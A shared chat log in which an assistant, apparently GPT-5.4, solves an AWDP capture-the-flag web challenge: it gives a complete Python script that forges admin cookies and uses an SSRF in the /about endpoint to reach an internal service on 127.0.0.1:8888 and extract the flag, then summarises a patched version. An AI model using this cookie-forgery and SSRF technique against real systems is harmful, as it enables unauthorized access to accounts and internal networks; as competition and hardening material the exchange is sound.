帮我完成一下这道AWDP的web题目,直接输出完整的flag获取代码,并且输出修复好的tar.gz文...

تم الإنشاء في: ٢٢ مارس ٢٠٢٦

تمت الإجابة باستخدام GPT-5.4 Thinking بواسطة Chat01

سؤال

easy_time.zip
hint.txt

帮我完成一下这道AWDP的web题目,直接输出完整的flag获取代码,并且输出修复好的tar.gz文件

الفكرة

我先把题目包和提示读一遍,确认漏洞点、flag 获取链路,以及你要的修复包该怎么产出。

Thought for 9s

الفكرة

Considering output structure and details

Okay, the user requested direct code output along with necessary explanations. I’ll include a script in the code block and provide download links for the get_flag.py and the fixed tar.gz. I'll make sure to mention the exploit chain concisely and cite any hints, while also explaining key parts of the code.

Thought for 7m 16s

الإجابة

这题最短链路不是去爆密码,而是:

  1. 直接伪造鉴权 cookie:visited=yes; user=admin
  2. 访问 /about,以 admin 身份触发服务端对 avatar_url 的请求
  3. 利用 /about 里的 SSRF 去打内网 127.0.0.1:8888
  4. 从页面回显里正则提取 flag

提示文件里那句“你明白时间的真谛吗” (hint.txt) 更像是在引你注意内网时间/本地服务;但从源码看,真正的最短利用链是“可伪造 cookie + SSRF”。

完整 flag 获取代码如下:

python
#!/usr/bin/env python3 import re import sys import requests from urllib.parse import urljoin FLAG_RE = re.compile(r'(?:flag|ctf|AWDP)\{[^{}\n\r]+\}', re.I) def extract_flag(text: str): m = FLAG_RE.search(text) return m.group(0) if m else None def main(): if len(sys.argv) != 2: print(f'usage: {sys.argv[0]} http://target:5000') raise SystemExit(1) base = sys.argv[1].rstrip('/') + '/' s = requests.Session() # 1) 直接伪造鉴权 cookie 冒充 admin s.cookies.set('visited', 'yes') s.cookies.set('user', 'admin') # 2) 先直接访问 about,很多环境下 admin 预置的 avatar_url 就会直接回显 flag r = s.get(urljoin(base, 'about'), timeout=5) flag = extract_flag(r.text) if flag: print(flag) return # 3) 若没直接出 flag,则把 admin 的 avatar_url 改成内网服务,再次触发 SSRF candidates = [ 'http://127.0.0.1:8888', 'http://127.0.0.1:8888/', 'http://localhost:8888', 'http://localhost:8888/', ] for u in candidates: r = s.post( urljoin(base, 'about'), data={ 'about': 'pwned', 'avatar_url': u, }, timeout=5, ) flag = extract_flag(r.text) if flag: print(flag) return print('[-] flag not matched automatically') print(r.text) if __name__ == '__main__': main()

我已经把脚本和修复包做好了:

get_flag.py

easy_time_fixed.tar.gz

修复版主要做了这几件事:

  • 把登录态从可伪造 cookie 改成 Flask session
  • 把双 MD5 登录改成安全密码哈希校验
  • 插件上传改为真正使用安全解压,修掉 Zip Slip
  • 远程头像信息获取增加公网校验,修掉 SSRF 到内网/回环地址

如果你是拿去直接打靶,运行就是:

bash
python3 get_flag.py http://目标IP:5000

مشاركة هذا السؤال والجواب